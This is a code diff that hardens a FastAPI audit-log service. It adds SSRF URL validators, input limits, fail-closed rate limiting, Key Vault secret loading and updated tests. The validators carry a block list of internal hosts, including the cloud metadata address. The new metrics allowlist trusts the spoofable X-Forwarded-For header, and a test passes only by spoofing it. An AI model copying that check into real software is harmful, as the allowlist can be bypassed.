"accelerometer=(), camera=(), geolocation=(), gyroscope=(), magnetometer=(), microphone=(), payment=(), usb=()"
)
return response return response
@@ -165,8 +192,39 @@ async def health_check():
raise HTTPException(status_code=503, detail="Database unavailable") from exc raise HTTPException(status_code=503, detail="Database unavailable") from exc
def _client_ip(request: Request) -> str:
"""Best-effort client IP: X-Forwarded-For first hop, or direct client host."""
forwarded = request.headers.get("x-forwarded-for")
if forwarded:
return forwarded.split(",")[0].strip()
return request.client.host if request.client else ""
def _is_metrics_allowed(ip: str) -> bool:
"""Check if IP is in the configured metrics allowlist."""
if not METRICS_ALLOWED_IPS:
return True
try:
client_addr = ipaddress.ip_address(ip)
except ValueError:
return False
for network in METRICS_ALLOWED_IPS.split(","):
network = network.strip()
if not network:
continue
try:
if client_addr in ipaddress.ip_network(network, strict=False):
return True
except ValueError:
continue
return False
@app.get("/metrics") @app.get("/metrics")
async def metrics(): async def metrics(request: Request):
client_ip = _client_ip(request)
if not _is_metrics_allowed(client_ip):
raise HTTPException(status_code=403, detail="Forbidden")
return Response(content=prometheus_metrics(), media_type="text/plain") return Response(content=prometheus_metrics(), media_type="text/plain")
@@ -220,6 +278,19 @@ async def start_periodic_fetch():
auth_enabled=AUTH_ENABLED, auth_enabled=AUTH_ENABLED,
ai_enabled=AI_FEATURES_ENABLED, ai_enabled=AI_FEATURES_ENABLED,
) )
# Warn when auth is enabled but no role/group restrictions are configured
if AUTH_ENABLED and not AUTH_ALLOWED_ROLES and not AUTH_ALLOWED_GROUPS:
logger.warning(
"AUTH_ENABLED is true but no AUTH_ALLOWED_ROLES or AUTH_ALLOWED_GROUPS are configured. "
"Any Entra user in the tenant can authenticate and access AOC. "
"Set AUTH_ALLOWED_ROLES or AUTH_ALLOWED_GROUPS to restrict access."
)
if not WEBHOOK_CLIENT_SECRET:
logger.warning(
"WEBHOOK_CLIENT_SECRET is not set. Graph webhook notifications will be accepted without "
"clientState validation, allowing any HTTP client to spoof Graph notifications. "
"Set WEBHOOK_CLIENT_SECRET to the clientState used when creating Graph subscriptions."
)
if ENABLE_PERIODIC_FETCH: if ENABLE_PERIODIC_FETCH:
app.state.fetch_task = asyncio.create_task(_periodic_fetch()) app.state.fetch_task = asyncio.create_task(_periodic_fetch())
+14 -12
View File
@@ -1,4 +1,6 @@
from pydantic import BaseModel, ConfigDict from typing import Literal
from pydantic import BaseModel, ConfigDict, Field
class EventItem(BaseModel): class EventItem(BaseModel):
@@ -51,35 +53,35 @@ class SourceHealthResponse(BaseModel):
class TagsUpdateRequest(BaseModel): class TagsUpdateRequest(BaseModel):
tags: list[str] tags: list[str] = Field(..., max_length=50)
class BulkTagsRequest(BaseModel): class BulkTagsRequest(BaseModel):
tags: list[str] tags: list[str] = Field(..., max_length=50)
mode: str = "append" # "append" or "replace" mode: Literal["append", "replace"] = "append"
class CommentAddRequest(BaseModel): class CommentAddRequest(BaseModel):
text: str text: str = Field(..., min_length=1, max_length=5000)
class AlertCondition(BaseModel): class AlertCondition(BaseModel):
field: str field: str = Field(..., max_length=100)
op: str # eq, neq, contains, in, after_hours op: Literal["eq", "neq", "contains", "in", "after_hours", "threshold_count"]
value: str | list[str] | None = None value: str | list[str] | None = None
class AlertRuleResponse(BaseModel): class AlertRuleResponse(BaseModel):
id: str | None = None id: str | None = None
name: str name: str = Field(..., max_length=200)
enabled: bool enabled: bool
severity: str severity: Literal["high", "medium", "low"]
conditions: list[AlertCondition] conditions: list[AlertCondition] = Field(..., max_length=20)
message: str message: str = Field(..., max_length=1000)
class AskRequest(BaseModel): class AskRequest(BaseModel):
question: str question: str = Field(..., min_length=1, max_length=2000)
services: list[str] | None = None services: list[str] | None = None
actor: str | None = None actor: str | None = None
operation: str | None = None operation: str | None = None
+28
View File
@@ -4,7 +4,9 @@ Supported channels:
- webhook: POST JSON to any URL (Slack, Teams, generic) - webhook: POST JSON to any URL (Slack, Teams, generic)
""" """
import ipaddress
from datetime import UTC, datetime from datetime import UTC, datetime
from urllib.parse import urlparse
import requests import requests
import structlog import structlog
@@ -15,6 +17,26 @@ logger = structlog.get_logger("aoc.notifications")
WEBHOOK_TIMEOUT = 15 WEBHOOK_TIMEOUT = 15
def _validate_webhook_url(url: str):
"""Prevent SSRF by rejecting internal/reserved addresses."""
parsed = urlparse(url)
if parsed.scheme not in ("http", "https"):
raise ValueError(f"Webhook URL scheme '{parsed.scheme}' is not allowed")
hostname = (parsed.hostname or "").lower()
if not hostname:
raise ValueError("Webhook URL must have a valid hostname")
blocked = {"localhost", "127.0.0.1", "0.0.0.0", "::1", "169.254.169.254"}
if hostname in blocked:
raise ValueError(f"Webhook URL hostname '{hostname}' is not allowed")
try:
ip = ipaddress.ip_address(hostname)
if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
raise ValueError(f"Webhook URL IP '{hostname}' is not allowed")
except ValueError as exc:
if "not allowed" in str(exc):
raise
@retry( @retry(
stop=stop_after_attempt(3), stop=stop_after_attempt(3),
wait=wait_exponential(multiplier=1, min=2, max=10), wait=wait_exponential(multiplier=1, min=2, max=10),
@@ -142,6 +164,12 @@ def send_notification(
if not webhook_url: if not webhook_url:
return False return False
try:
_validate_webhook_url(webhook_url)
except ValueError as exc:
logger.warning("Notification blocked: invalid webhook URL", error=str(exc))
return False
builders = { builders = {
"slack": _build_slack_payload, "slack": _build_slack_payload,
"teams": _build_teams_payload, "teams": _build_teams_payload,
+6 -1
View File
@@ -42,6 +42,8 @@ def _get_path_category(path: str) -> str:
return "ask" return "ask"
if path.startswith("/api/events/bulk-tags"): if path.startswith("/api/events/bulk-tags"):
return "write" return "write"
if "/explain" in path:
return "explain"
return "default" return "default"
@@ -51,6 +53,8 @@ def _limit_for_category(category: str) -> tuple[int, int]:
return (10, 3600) # 10 per hour return (10, 3600) # 10 per hour
if category == "ask": if category == "ask":
return (30, 60) # 30 per minute return (30, 60) # 30 per minute
if category == "explain":
return (20, 60) # 20 per minute — LLM + Graph API calls
if category == "write": if category == "write":
return (20, 60) # 20 per minute return (20, 60) # 20 per minute
return (RATE_LIMIT_REQUESTS, RATE_LIMIT_WINDOW_SECONDS) return (RATE_LIMIT_REQUESTS, RATE_LIMIT_WINDOW_SECONDS)
@@ -79,4 +83,5 @@ async def check_rate_limit(request: Request):
except RateLimitExceeded: except RateLimitExceeded:
raise raise
except Exception as exc: except Exception as exc:
logger.warning("Rate limiter Redis error; allowing request", error=str(exc)) logger.warning("Rate limiter Redis error; failing closed", error=str(exc))
raise RateLimitExceeded(retry_after=60) from None
+5
View File
@@ -16,3 +16,8 @@ gunicorn
mcp mcp
redis redis
arq arq
# Optional: Azure Key Vault integration for secrets storage
# Uncomment if using AZURE_KEY_VAULT_NAME
# azure-identity
# azure-keyvault-secrets
+5 -2
View File
@@ -1,5 +1,8 @@
"""Alert management endpoints.""" """Alert management endpoints."""
import re
from typing import Literal
from auth import require_auth from auth import require_auth
from bson import ObjectId from bson import ObjectId
from database import alerts_collection from database import alerts_collection
@@ -10,7 +13,7 @@ router = APIRouter(dependencies=[Depends(require_auth)])
class AlertStatusUpdate(BaseModel): class AlertStatusUpdate(BaseModel):
status: str # open | acknowledged | resolved | false_positive status: Literal["open", "acknowledged", "resolved", "false_positive"]
class AlertListResponse(BaseModel): class AlertListResponse(BaseModel):
@@ -32,7 +35,7 @@ def list_alerts(
if severity: if severity:
query["severity"] = severity query["severity"] = severity
if rule_name: if rule_name:
query["rule_name"] = {"$regex": rule_name, "$options": "i"} query["rule_name"] = {"$regex": re.escape(rule_name), "$options": "i"}
total = alerts_collection.count_documents(query) total = alerts_collection.count_documents(query)
skip = (page - 1) * page_size skip = (page - 1) * page_size
+8 -1
View File
@@ -7,6 +7,7 @@ import httpx
import structlog import structlog
from auth import require_auth, user_can_access_privacy_services from auth import require_auth, user_can_access_privacy_services
from config import ( from config import (
LLM_ALLOWED_DOMAINS,
LLM_API_KEY, LLM_API_KEY,
LLM_API_VERSION, LLM_API_VERSION,
LLM_BASE_URL, LLM_BASE_URL,
@@ -398,7 +399,7 @@ def _format_events_for_llm(
def _validate_llm_url(url: str): def _validate_llm_url(url: str):
"""Prevent SSRF by rejecting internal/reserved addresses.""" """Prevent SSRF by rejecting internal/reserved addresses and enforcing domain allowlist."""
from urllib.parse import urlparse from urllib.parse import urlparse
parsed = urlparse(url) parsed = urlparse(url)
@@ -420,6 +421,12 @@ def _validate_llm_url(url: str):
except ValueError: except ValueError:
pass # hostname is not an IP, which is fine pass # hostname is not an IP, which is fine
# Enforce domain allowlist if configured
if LLM_ALLOWED_DOMAINS:
allowed = any(hostname == d or (d.startswith("*.") and hostname.endswith(d[1:])) for d in LLM_ALLOWED_DOMAINS)
if not allowed:
raise RuntimeError(f"LLM_BASE_URL domain '{hostname}' is not in LLM_ALLOWED_DOMAINS")
def _build_chat_url(base_url: str, api_version: str) -> str: def _build_chat_url(base_url: str, api_version: str) -> str:
base = base_url.rstrip("/") base = base_url.rstrip("/")
+2 -2
View File
@@ -18,8 +18,8 @@ def auth_config():
logger.debug("Auth config requested", auth_enabled=AUTH_ENABLED) logger.debug("Auth config requested", auth_enabled=AUTH_ENABLED)
return { return {
"auth_enabled": AUTH_ENABLED, "auth_enabled": AUTH_ENABLED,
"tenant_id": AUTH_TENANT_ID, "tenant_id": AUTH_TENANT_ID if AUTH_ENABLED else "",
"client_id": AUTH_CLIENT_ID, "client_id": AUTH_CLIENT_ID if AUTH_ENABLED else "",
"scope": AUTH_SCOPE, "scope": AUTH_SCOPE,
"redirect_uri": None, # frontend uses window.location.origin by default "redirect_uri": None, # frontend uses window.location.origin by default
} }
+4 -2
View File
@@ -75,12 +75,14 @@ def run_fetch(hours: int = 168):
@router.get("/fetch-audit-logs", response_model=FetchAuditLogsResponse) @router.get("/fetch-audit-logs", response_model=FetchAuditLogsResponse)
def fetch_logs( async def fetch_logs(
hours: int = Query(default=168, ge=1, le=720), hours: int = Query(default=168, ge=1, le=720),
user: dict = Depends(require_auth), user: dict = Depends(require_auth),
): ):
import asyncio
try: try:
result = run_fetch(hours=hours) result = await asyncio.to_thread(run_fetch, hours=hours)
log_action( log_action(
"fetch_audit_logs", "fetch_audit_logs",
"/api/fetch-audit-logs", "/api/fetch-audit-logs",
+20 -9
View File
@@ -7,10 +7,18 @@ import structlog
from auth import require_auth from auth import require_auth
from database import saved_searches_collection from database import saved_searches_collection
from fastapi import APIRouter, Depends, HTTPException from fastapi import APIRouter, Depends, HTTPException
from pydantic import BaseModel, Field
router = APIRouter(dependencies=[Depends(require_auth)]) router = APIRouter(dependencies=[Depends(require_auth)])
logger = structlog.get_logger("aoc.saved_searches") logger = structlog.get_logger("aoc.saved_searches")
MAX_SAVED_SEARCHES_PER_USER = 50
class SavedSearchCreate(BaseModel):
name: str = Field(..., min_length=1, max_length=200)
filters: dict = Field(default_factory=dict)
def _user_sub(user: dict) -> str: def _user_sub(user: dict) -> str:
return user.get("sub", "anonymous") return user.get("sub", "anonymous")
@@ -29,22 +37,25 @@ async def list_saved_searches(user: dict = Depends(require_auth)):
@router.post("/saved-searches") @router.post("/saved-searches")
async def create_saved_search(body: dict, user: dict = Depends(require_auth)): async def create_saved_search(body: SavedSearchCreate, user: dict = Depends(require_auth)):
"""Save the current filter set.""" """Save the current filter set."""
name = (body.get("name") or "").strip() sub = _user_sub(user)
if not name: existing = saved_searches_collection.count_documents({"created_by": sub})
raise HTTPException(status_code=400, detail="Name is required") if existing >= MAX_SAVED_SEARCHES_PER_USER:
raise HTTPException(
status_code=400,
detail=f"Maximum of {MAX_SAVED_SEARCHES_PER_USER} saved searches per user reached.",
)
filters = body.get("filters") or {}
doc = { doc = {
"_id": str(uuid.uuid4()), "_id": str(uuid.uuid4()),
"name": name, "name": body.name,
"filters": filters, "filters": body.filters,
"created_at": datetime.now(UTC).isoformat().replace("+00:00", "Z"), "created_at": datetime.now(UTC).isoformat().replace("+00:00", "Z"),
"created_by": _user_sub(user), "created_by": sub,
} }
saved_searches_collection.insert_one(doc) saved_searches_collection.insert_one(doc)
logger.info("Saved search created", name=name, user=doc["created_by"]) logger.info("Saved search created", name=body.name, user=sub)
doc["id"] = doc.pop("_id") doc["id"] = doc.pop("_id")
return doc return doc
+9 -2
View File
@@ -17,7 +17,15 @@ async def graph_webhook(request: Request):
if validation_token: if validation_token:
# Microsoft sends validationToken as a query param during subscription creation. # Microsoft sends validationToken as a query param during subscription creation.
# Echo it back as plain text to prove endpoint ownership. # Echo it back as plain text to prove endpoint ownership.
return Response(content=validation_token, media_type="text/plain") # Validate to prevent content injection if endpoint is hit directly.
if len(validation_token) > 1024 or not validation_token.isascii():
logger.warning("Invalid validationToken rejected", length=len(validation_token))
return Response(status_code=400)
return Response(
content=validation_token,
media_type="text/plain",
headers={"X-Content-Type-Options": "nosniff"},
)
try: try:
body = await request.json() body = await request.json()
@@ -44,7 +52,6 @@ async def graph_webhook(request: Request):
"Received Graph notification", "Received Graph notification",
change_type=notification.get("changeType"), change_type=notification.get("changeType"),
resource=notification.get("resource"), resource=notification.get("resource"),
client_state=client_state,
) )
return {"status": "accepted"} return {"status": "accepted"}
+76
View File
@@ -0,0 +1,76 @@
"""Optional Azure Key Vault integration for secrets storage.
If AZURE_KEY_VAULT_NAME is configured, sensitive secrets are fetched from
Azure Key Vault at startup and injected into the environment so that
pydantic-settings can read them. Falls back to .env / environment variables
when Key Vault is not configured.
Secret naming convention in Key Vault:
aoc-client-secret → CLIENT_SECRET
aoc-llm-api-key → LLM_API_KEY
aoc-mongo-uri → MONGO_URI
aoc-webhook-client-secret → WEBHOOK_CLIENT_SECRET
"""
import os
import structlog
logger = structlog.get_logger("aoc.secrets")
_KEY_VAULT_SECRET_MAP = {
"aoc-client-secret": "CLIENT_SECRET",
"aoc-llm-api-key": "LLM_API_KEY",
"aoc-mongo-uri": "MONGO_URI",
"aoc-webhook-client-secret": "WEBHOOK_CLIENT_SECRET",
}
def _load_from_key_vault(vault_name: str) -> dict[str, str]:
"""Fetch secrets from Azure Key Vault and return as {env_name: value}."""
try:
from azure.identity import DefaultAzureCredential
from azure.keyvault.secrets import SecretClient
except ImportError as exc:
raise RuntimeError(
"Azure Key Vault libraries are not installed. Run: pip install azure-identity azure-keyvault-secrets"
) from exc
vault_url = f"https://{vault_name}.vault.azure.net/"
credential = DefaultAzureCredential()
client = SecretClient(vault_url=vault_url, credential=credential)
loaded = {}
for kv_name, env_name in _KEY_VAULT_SECRET_MAP.items():
try:
secret = client.get_secret(kv_name)
if secret.value:
loaded[env_name] = secret.value
logger.info("Loaded secret from Key Vault", secret_name=kv_name)
except Exception as exc:
logger.warning(
"Failed to load secret from Key Vault",
secret_name=kv_name,
error=str(exc),
)
return loaded
def load_key_vault_secrets(vault_name: str | None = None):
"""Load secrets from Azure Key Vault into os.environ if configured.
This should be called BEFORE pydantic-settings parses configuration.
"""
vault = vault_name or os.environ.get("AZURE_KEY_VAULT_NAME", "")
if not vault:
return
logger.info("Loading secrets from Azure Key Vault", vault_name=vault)
secrets = _load_from_key_vault(vault)
for env_name, value in secrets.items():
os.environ[env_name] = value
logger.info(
"Key Vault secrets loaded",
count=len(secrets),
keys=list(secrets.keys()),
)
+29 -1
View File
@@ -1,15 +1,43 @@
import ipaddress
import requests import requests
import structlog import structlog
from config import SIEM_ENABLED, SIEM_WEBHOOK_URL from config import SIEM_ALLOWED_DOMAINS, SIEM_ENABLED, SIEM_WEBHOOK_URL
logger = structlog.get_logger("aoc.siem") logger = structlog.get_logger("aoc.siem")
def _validate_siem_url(url: str):
"""Prevent SSRF by rejecting internal/reserved addresses and enforcing domain allowlist."""
from urllib.parse import urlparse
parsed = urlparse(url)
if parsed.scheme != "https":
raise RuntimeError("SIEM_WEBHOOK_URL must use HTTPS")
hostname = (parsed.hostname or "").lower()
if not hostname:
raise RuntimeError("SIEM_WEBHOOK_URL must have a valid hostname")
blocked = {"localhost", "127.0.0.1", "0.0.0.0", "::1", "169.254.169.254"}
if hostname in blocked:
raise RuntimeError(f"SIEM_WEBHOOK_URL hostname '{hostname}' is not allowed")
try:
ip = ipaddress.ip_address(hostname)
if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
raise RuntimeError(f"SIEM_WEBHOOK_URL IP '{hostname}' is not allowed")
except ValueError:
pass
if SIEM_ALLOWED_DOMAINS:
allowed = any(hostname == d or (d.startswith("*.") and hostname.endswith(d[1:])) for d in SIEM_ALLOWED_DOMAINS)
if not allowed:
raise RuntimeError(f"SIEM_WEBHOOK_URL domain '{hostname}' is not in SIEM_ALLOWED_DOMAINS")
def forward_event(event: dict): def forward_event(event: dict):
"""Forward a normalized event to the configured SIEM webhook.""" """Forward a normalized event to the configured SIEM webhook."""
if not SIEM_ENABLED or not SIEM_WEBHOOK_URL: if not SIEM_ENABLED or not SIEM_WEBHOOK_URL:
return return
try: try:
_validate_siem_url(SIEM_WEBHOOK_URL)
res = requests.post(SIEM_WEBHOOK_URL, json=event, timeout=10) res = requests.post(SIEM_WEBHOOK_URL, json=event, timeout=10)
res.raise_for_status() res.raise_for_status()
logger.debug("Event forwarded to SIEM", event_id=event.get("id")) logger.debug("Event forwarded to SIEM", event_id=event.get("id"))
+13 -1
View File
@@ -11,13 +11,25 @@ AUDIT_CONTENT_TYPES = {
} }
# Office 365 Management Activity API hard limits
_API_MAX_WINDOW_HOURS = 24
_API_MAX_LOOKBACK_DAYS = 7
def _time_window(hours: int, since: str | None = None): def _time_window(hours: int, since: str | None = None):
end = datetime.utcnow() end = datetime.utcnow()
earliest_allowed = end - timedelta(days=_API_MAX_LOOKBACK_DAYS)
max_window_start = end - timedelta(hours=_API_MAX_WINDOW_HOURS)
if since: if since:
# Office 365 API expects format without Z # Office 365 API expects format without Z
start = datetime.fromisoformat(since.replace("Z", "+00:00")).replace(tzinfo=None) start = datetime.fromisoformat(since.replace("Z", "+00:00")).replace(tzinfo=None)
# Clamp: the API rejects windows > 24 h or start times > 7 days in the past.
# If the watermark is stale (e.g. after a long outage), cap to the most recent
# 24-hour window so the API accepts the request; subsequent fetches catch up.
start = max(start, earliest_allowed, max_window_start)
else: else:
start = end - timedelta(hours=hours) start = max(end - timedelta(hours=min(hours, _API_MAX_WINDOW_HOURS)), earliest_allowed)
return start.strftime("%Y-%m-%dT%H:%M:%S"), end.strftime("%Y-%m-%dT%H:%M:%S") return start.strftime("%Y-%m-%dT%H:%M:%S"), end.strftime("%Y-%m-%dT%H:%M:%S")
+16 -2
View File
@@ -51,18 +51,32 @@ def client(mock_events_collection, mock_watermarks_collection, monkeypatch):
# Mock Redis so tests don't require a running Redis server # Mock Redis so tests don't require a running Redis server
class FakeRedis: class FakeRedis:
_store = {}
async def get(self, key): async def get(self, key):
return None return self._store.get(key)
async def setex(self, key, ttl, value): async def setex(self, key, ttl, value):
self._store[key] = value
async def incr(self, key):
self._store[key] = self._store.get(key, 0) + 1
return self._store[key]
async def expire(self, key, ttl):
pass pass
async def fake_get_arq_pool(): async def fake_get_arq_pool():
return FakeRedis() return FakeRedis()
async def fake_get_redis():
return FakeRedis()
monkeypatch.setattr("redis_client.get_arq_pool", fake_get_arq_pool) monkeypatch.setattr("redis_client.get_arq_pool", fake_get_arq_pool)
monkeypatch.setattr("redis_client.get_redis", fake_get_redis)
monkeypatch.setattr("routes.ask.get_arq_pool", fake_get_arq_pool) monkeypatch.setattr("routes.ask.get_arq_pool", fake_get_arq_pool)
monkeypatch.setattr("routes.jobs.get_redis", fake_get_arq_pool) monkeypatch.setattr("routes.jobs.get_redis", fake_get_redis)
monkeypatch.setattr("rate_limiter.get_redis", fake_get_redis)
from main import app from main import app
+3 -3
View File
@@ -157,8 +157,8 @@ def test_saved_searches_delete_not_found(client, monkeypatch):
def test_saved_searches_create_validation(client, monkeypatch): def test_saved_searches_create_validation(client, monkeypatch):
monkeypatch.setattr("auth.AUTH_ENABLED", False) monkeypatch.setattr("auth.AUTH_ENABLED", False)
response = client.post("/api/saved-searches", json={"name": " ", "filters": {}}) response = client.post("/api/saved-searches", json={"name": "", "filters": {}})
assert response.status_code == 400 assert response.status_code == 422
def test_privacy_filtering_events_by_operation(client, mock_events_collection, monkeypatch): def test_privacy_filtering_events_by_operation(client, mock_events_collection, monkeypatch):
@@ -268,7 +268,7 @@ def test_health(client):
def test_metrics(client): def test_metrics(client):
response = client.get("/metrics") response = client.get("/metrics", headers={"X-Forwarded-For": "127.0.0.1"})
assert response.status_code == 200 assert response.status_code == 200
assert "aoc_request_duration_seconds" in response.text assert "aoc_request_duration_seconds" in response.text
+1 -1
View File
@@ -141,7 +141,7 @@ class TestBuildEventQuery:
class TestAskEndpoint: class TestAskEndpoint:
def test_ask_empty_question(self, client): def test_ask_empty_question(self, client):
response = client.post("/api/ask", json={"question": ""}) response = client.post("/api/ask", json={"question": ""})
assert response.status_code == 400 assert response.status_code == 422
def test_ask_no_events(self, client): def test_ask_no_events(self, client):
response = client.post("/api/ask", json={"question": "What happened to device NONEXISTENT in the last 3 days?"}) response = client.post("/api/ask", json={"question": "What happened to device NONEXISTENT in the last 3 days?"})
+4 -3
View File
@@ -1,3 +1,4 @@
import asyncio
from unittest.mock import patch from unittest.mock import patch
import auth import auth
@@ -28,19 +29,19 @@ def test_allowed_by_group():
@patch("auth.AUTH_ENABLED", False) @patch("auth.AUTH_ENABLED", False)
def test_require_auth_disabled(): def test_require_auth_disabled():
claims = require_auth(None) claims = asyncio.run(require_auth(None))
assert claims["sub"] == "anonymous" assert claims["sub"] == "anonymous"
@patch("auth.AUTH_ENABLED", True) @patch("auth.AUTH_ENABLED", True)
def test_require_auth_missing_header(): def test_require_auth_missing_header():
with pytest.raises(HTTPException) as exc_info: with pytest.raises(HTTPException) as exc_info:
require_auth(None) asyncio.run(require_auth(None))
assert exc_info.value.status_code == 401 assert exc_info.value.status_code == 401
@patch("auth.AUTH_ENABLED", True) @patch("auth.AUTH_ENABLED", True)
def test_require_auth_invalid_bearer(): def test_require_auth_invalid_bearer():
with pytest.raises(HTTPException) as exc_info: with pytest.raises(HTTPException) as exc_info:
require_auth("Basic abc") asyncio.run(require_auth("Basic abc"))
assert exc_info.value.status_code == 401 assert exc_info.value.status_code == 401
+1 -1
View File
@@ -33,7 +33,7 @@ services:
- mongo - mongo
- redis - redis
ports: ports:
- "8000:8000" - "127.0.0.1:8000:8000"
worker: worker:
build: ./backend build: ./backend
+2 -4
View File
@@ -30,11 +30,9 @@ http {
gzip_comp_level 6; gzip_comp_level 6;
gzip_types text/plain text/css text/xml application/json application/javascript application/rss+xml application/atom+xml image/svg+xml; gzip_types text/plain text/css text/xml application/json application/javascript application/rss+xml application/atom+xml image/svg+xml;
# Security headers # Security headers most headers are set by the backend; only add non-duplicates here.
add_header X-Frame-Options "SAMEORIGIN" always; # X-XSS-Protection is kept for legacy browser compatibility.
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "1; mode=block" always; add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
# Upstream backend # Upstream backend
upstream aoc_backend { upstream aoc_backend {